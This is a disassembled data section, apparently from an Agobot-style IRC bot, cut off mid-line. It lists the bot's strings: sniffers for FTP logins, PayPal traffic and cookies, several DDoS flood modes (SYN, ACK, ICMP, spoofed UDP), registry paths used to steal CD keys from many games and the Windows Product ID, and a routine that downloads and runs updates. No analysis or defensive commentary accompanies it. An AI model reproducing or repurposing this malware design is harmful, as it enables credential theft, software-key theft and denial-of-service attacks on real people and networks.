aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 aOctet db 'octet',0 align 4 aRb_0 db 'rb',0 ; DATA XREF: sub_4112A8+130o align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_4112A8+2CDo align 4 aTftpTransferCo db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_4112A8+3C4o align 4 dword_44C7D8 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_4112A8+41Co dword_44C7E4 dd 20746F42h, 66696E73h, 66h ; DATA XREF: sub_411734+5o dword_44C7F0 dd 4E53505Bh, 5D464649h, 3Ah ; DATA XREF: sub_411734+2Bo dword_44C7FC dd 494E5350h, 2F2F4646h, 0 ; DATA XREF: sub_411734+3Co dword_44C808 dd 4E494F4Ah, 2320h ; DATA XREF: sub_411734+4Do dword_44C810 dd 20323033h, 0 ; DATA XREF: sub_411734:loc_411796o dword_44C818 dd 20363633h, 0 ; DATA XREF: sub_411734+73o dword_44C820 dd 6F6C2E3Ah, 6E6967h ; DATA XREF: sub_411734+84o dword_44C828 dd 6F6C213Ah, 6E6967h ; DATA XREF: sub_411734+95o dword_44C830 dd 6F4C213Ah, 6E6967h ; DATA XREF: sub_411734+A6o dword_44C838 dd 6F4C2E3Ah, 6E6967h ; DATA XREF: sub_411734+B7o dword_44C840 dd 64692E3Ah, 746E65h ; DATA XREF: sub_411734+C8o dword_44C848 dd 6469213Ah, 746E65h ; DATA XREF: sub_411734+D9o dword_44C850 dd 61682E3Ah, 6E696873h, 0 ; DATA XREF: sub_411734+EEo dword_44C85C dd 6168213Ah, 6E696873h, 0 ; DATA XREF: sub_411734+103o dword_44C868 dd 20435249h, 66696E73h, 66h ; DATA XREF: sub_41184B+5o dword_44C874 dd 5245504Fh, 20h ; DATA XREF: sub_41184B+2Bo dword_44C87C dd 4B43494Eh, 20h ; DATA XREF: sub_41184B:loc_41188Bo dword_44C884 dd 7265706Fh, 20h ; DATA XREF: sub_41184B+51o aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_41184B+62o aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4118C1+5o align 4 aNick_2 db 'NICK ',0 ; DATA XREF: sub_4118C1+2Bo align 4 a220 db '220 ',0 ; DATA XREF: sub_4118C1+3Co align 4 a230 db '230 ',0 ; DATA XREF: sub_4118C1:loc_411912o align 4 aUser_1 db 'USER ',0 ; DATA XREF: sub_4118C1+62o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4118C1+73o align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_411948+5o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_411948+2Bo align 10h aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_411948:loc_411988o align 4 aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_411948+51o align 4 aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_411948+62o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_411948+73o aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4119CF+5o align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4119CF+2Bo align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4119CF:loc_411A0Fo align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4119CF+51o align 4 unk_44C958 db 2Dh ; - ; DATA XREF: sub_411A34+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 unk_44C984 db 2Dh ; - ; DATA XREF: sub_411A34+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 aS_32 db '%s',0 ; DATA XREF: sub_411A34+228o align 4 aS_33 db '%s',0 ; DATA XREF: sub_411A34+250o align 4 unk_44C9BC db 2Dh ; - ; DATA XREF: sub_411A34+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44C9F0 db 2Dh ; - ; DATA XREF: sub_411A34+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CA24 db 2Dh ; - ; DATA XREF: sub_411A34+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_44CA58 db 2Dh ; - ; DATA XREF: sub_411A34+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 10h unk_44CA90 db 2Dh ; - ; DATA XREF: sub_411A34+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_44CAC8 db 2Dh ; - ; DATA XREF: sub_411E27+5Bo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_411ED9+F1o align 4 aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_411ED9:loc_411FE9o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_411ED9:loc_412005o dword_44CB14 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_411ED9+302o dd 203A726Fh, 6425h unk_44CB30 db 2Dh ; - ; DATA XREF: sub_41226E+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailedRe db 'socket() failed, returned %d',0 align 4 unk_44CB5C db 2Dh ; - ; DATA XREF: sub_41226E+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 unk_44CB8C db 2Dh ; - ; DATA XREF: sub_41226E+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 unk_44CBAC db 2Dh ; - ; DATA XREF: sub_41226E+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 unk_44CBF4 db 2Dh ; - ; DATA XREF: sub_41226E+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 10h unk_44CC40 db 2Dh ; - ; DATA XREF: sub_412655+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 unk_44CC68 db 2Dh ; - ; DATA XREF: sub_412655+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 unk_44CC94 db 2Dh ; - ; DATA XREF: sub_4127E1+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 unk_44CCBC db 2Dh ; - ; DATA XREF: sub_4127E1+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 4 dword_44CCE8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4129F7+48o aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 unk_44CD14 db 2Dh ; - ; DATA XREF: sub_412B9A+48o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 unk_44CD3C db 2Dh ; - ; DATA XREF: sub_412C36+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 dword_44CD5C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_412F42+4Do aDoneWithFlood_ db '- Done with flood.',0 align 4 unk_44CD7C db 2Dh ; - ; DATA XREF: sub_4131FE+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 10h unk_44CDB0 db 2Dh ; - ; DATA XREF: sub_4131FE+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_44CDE8 db 2Dh ; - ; DATA XREF: sub_4131FE+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 aSyn_0 db 'syn',0 ; DATA XREF: sub_4131FE+2D2o aAck_0 db 'ack',0 ; DATA XREF: sub_4131FE+2F2o aRandom_2 db 'random',0 ; DATA XREF: sub_4131FE+312o align 4 unk_44CE18 db 2Dh ; - ; DATA XREF: sub_4131FE+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_44CE68 db 2Dh ; - ; DATA XREF: sub_4131FE+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_44CEB8 db 2Dh ; - ; DATA XREF: sub_413794+60o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 aD_D_D_D_1 db '%d.%d.%d.%d',0 ; DATA XREF: sub_413849+C7o unk_44CEF8 db 2Dh ; - ; DATA XREF: sub_413A92+47o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_44CF38 db 2Dh ; - ; DATA XREF: sub_413B08+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 unk_44CF64 db 2Dh ; - ; DATA XREF: sub_413B08+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 unk_44CFB4 db 2Dh ; - ; DATA XREF: sub_413B08+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_44CFF8 db 2Dh ; - ; DATA XREF: sub_413B08+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 aD_D_D_D_2 db '%d.%d.%d.%d',0 ; DATA XREF: sub_413B08+17Eo unk_44D030 db 2Dh ; - ; DATA XREF: sub_413B08+348o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 unk_44D0BC db 2Dh ; - ; DATA XREF: sub_413B08+2F6o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 10h unk_44D120 db 2Dh ; - ; DATA XREF: sub_413E60+5Do db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 asc_44D14C: ; DATA XREF: sub_413FFA+1C5o unicode 0, < >,0 aSD_2 db '%s%d ',0 ; DATA XREF: sub_413FFA+207o align 4 dword_44D158 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_414512+10o dword_44D16C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_414512+35o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_41458A+60o align 4 dword_44D1A4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: .nsp0:00414646o dword_44D1B0 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_4146C7+20o dword_44D1C4 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_4146C7:loc_4146FCo dword_44D1D8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_41473A+3Fo dd 676E6974h, 0 dword_44D1F4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: sub_41473A+DCo dd 6574656Ch, 0 dd 80000001h off_44D214 dd offset aSoftwareValveC ; DATA XREF: sub_414869+Cr ; sub_414869+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_44D220 dd 2 dup(0) ; DATA XREF: sub_414869+26o dd 80000001h, 44D690h, 44D6B8h, 44D6C4h, 2 dup(0) dd 80000001h, 44D6D4h, 44D6F4h, 44D6F8h, 2 dup(0) dd 80000001h, 44D70Ch, 44D730h, 44D734h, 2 dup(0) dd 80000001h, 44D740h, 44D764h, 44D76Ch, 2 dup(0) dd 80000001h, 44D780h, 44D794h, 44D7A4h, 2 dup(0) dd 80000001h, 44D7C0h, 44D804h, 44D80Ch, 2 dup(0) dd 80000002h, 44D820h, 44D84Ch, 44D858h, 2 dup(0) dd 80000002h, 44D878h, 44D8ACh, 44D8B4h, 2 dup(0) dd 80000002h, 44D8CCh, 44D900h, 44D908h, 2 dup(0) dd 80000002h, 44D920h, 44D938h, 44D940h, 2 dup(0) dd 80000002h, 44D958h, 4E8518h, 44D994h, 2 dup(0) dd 80000002h, 44D9A4h, 4E851Ch, 44D9DCh, 2 dup(0) dd 80000002h, 44D9F0h, 4E8520h, 44DA3Ch, 2 dup(0) dd 80000002h, 44DA5Ch, 4E8524h, 44DAACh, 2 dup(0) dd 80000002h, 44DAD8h, 4E8528h, 44DB14h, 2 dup(0) dd 80000002h, 44DB28h, 4E852Ch, 44DB60h, 2 dup(0) dd 80000002h, 44DB70h, 4E8530h, 44DBC0h, 2 dup(0) dd 80000002h, 44DBECh, 4E8534h, 44DC2Ch, 2 dup(0) dd 80000002h, 44DC48h, 4E8538h, 44DC78h, 2 dup(0) dd 80000002h, 44DC98h, 4E853Ch, 44DCD4h, 2 dup(0) dd 80000002h, 44DCE8h, 4E8540h, 44DD30h, 2 dup(0) dd 80000002h, 44DD50h, 4E8544h, 44DDA4h, 2 dup(0) dd 80000002h, 44DDD4h, 4E8548h, 44DE24h, 2 dup(0) dd 80000002h, 44DE50h, 44DE90h, 44DE98h, 2 dup(0) dd 80000002h, 44DEB8h, 4E854Ch, 44DEFCh, 2 dup(0) dd 80000002h, 44DF18h, 4E8550h, 44DF64h, 2 dup(0) dd 80000002h, 44DF88h, 4E8554h, 44DFBCh, 2 dup(0) dd 80000002h, 44DFC8h, 4E8558h, 44DFFCh, 2 dup(0) dd 80000002h, 44E008h, 4E855Ch, 44E03Ch, 2 dup(0) dd 80000002h, 44E048h, 4E8560h, 44E07Ch, 2 dup(0) dd 80000002h, 44E088h, 4E8564h, 44E0C4h, 2 dup(0) dd 80000002h, 44E0D8h, 4E8568h, 44E114h, 2 dup(0) dd 80000002h, 44E128h, 44E158h, 44E160h, 2 dup(0) dd 80000002h, 44E17Ch, 44E19Ch, 44E1A4h, 2 dup(0) dd 80000002h, 44E1C8h, 44E1E4h, 44E1ECh, 2 dup(0) dd 80000002h, 44E20Ch, 44E22Ch, 44E234h, 2 dup(0) dd 80000002h, 44E258h, 44E270h, 44E278h, 2 dup(0) dd 80000002h, 44E27Ch, 44E298h, 44E2A8h, 2 dup(0) dd 80000002h, 44E2B0h, 44E2E4h, 44E2E8h, 2 dup(0) dd 80000002h, 44E300h, 44E33Ch, 44E348h, 44E370h, 44E380h dd 80000002h, 44E394h, 44E3B8h, 44E3C4h, 44E3D8h, 44E3E8h dd 80000002h, 44E3F0h, 44E414h, 44E420h, 44E44Ch, 44E45Ch dd 80000002h, 44E464h, 44E488h, 44E494h, 44E4C4h, 44E4D4h dd 6 dup(0) aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_44D214o align 10h aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:0044D218o align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0044D21Co aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aKey_1 db 'Key',0 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aKey_2 db 'Key',0 aHalfLife db 'Half-Life',0 align 10h aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aPrvkey db 'prvkey',0 align 4 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aSoftware3d0Sta db 'Software\3d0\Status',0 aCustomernumber db 'CustomerNumber',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aCdkey_0 db 'CDKey',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aProductid db 'ProductId',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aCdkey_1 db 'CDKey',0 align 4 aUnrealTourname db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aCdkey_2 db 'CDKey',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aCdkey_3 db 'CDKey',0 align 10h aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aBattlefield194 db 'Battlefield 1942',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aCommandAndCo_0 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNascarRacing20 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aCdkey_4 db 'CDKey',0 align 10h aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareWestwoo db 'oftware\Westwood\Tiberian Sun',0 align 4 aSerial_0 db 'Serial',0 align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aSerial_1 db 'Serial',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Red Alert 2',0 align 4 aSerial_2 db 'Serial',0 align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestw_2 db 'oftware\Westwood\NOX',0 align 10h aSerial_3 db 'Serial',0 align 4 aNox db 'NOX',0 aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 aChrome db 'Chrome',0 align 10h db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aKey_3 db 'key',0 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 10h db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 10h aBaseMpSof2key db 'base\mp\sof2key',0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation db 'Location',0 align 4 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aNwncdkey_ini db 'nwncdkey.ini',0 align 4 aKey1 db 'Key1=',0 align 10h aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_0 db 'Location',0 align 10h aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 align 4 aKey2 db 'Key2=',0 align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 align 4 aLocation_1 db 'Location',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 align 4 aKey3 db 'Key3=',0 align 4 aSS_9 db '%s\%s',0 ; DATA XREF: sub_414869+79o align 4 aR_2: ; DATA XREF: sub_414869+8Ao unicode 0, <r>,0 asc_44E4E8: ; DATA XREF: sub_414869+DEo unicode 0, <=>,0 asc_44E4EC: ; DATA XREF: sub_414869+E9o unicode 0, <=>,0 dword_44E4F0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_414869+FEo dd 0 dword_44E508 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_414869+11Bo dd 0 dword_44E520 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_414869+167o dd 0 unk_44E538 db 2Dh ; - ; DATA XREF: sub_414A1D+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h unk_44E560 db 2Dh ; - ; DATA XREF: sub_414A1D+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_44E588 db 2Dh ; - ; DATA XREF: sub_414A1D+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_44E5B0 db 2Dh ; - ; DATA XREF: sub_414A1D+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_44E5DC db 2Dh ; - ; DATA XREF: sub_414A1D+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_44E604 db 2Dh ; - ; DATA XREF: sub_414A1D+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 aOpen_2 db 'open',0 ; DATA XREF: sub_414A1D+336o align 4 dword_44E644 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: sub_414A1D+358o dd 25206465h, 73h unk_44E660 db 2Dh ; - ; DATA XREF: sub_414A1D+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 unk_44E6A4 db 2Dh ; - ; DATA XREF: sub_414A1D+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_44E6D8 db 2Dh ; - ; DATA XREF: sub_414A1D+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 aUnknown db 'Unknown',0 ; DATA XREF: 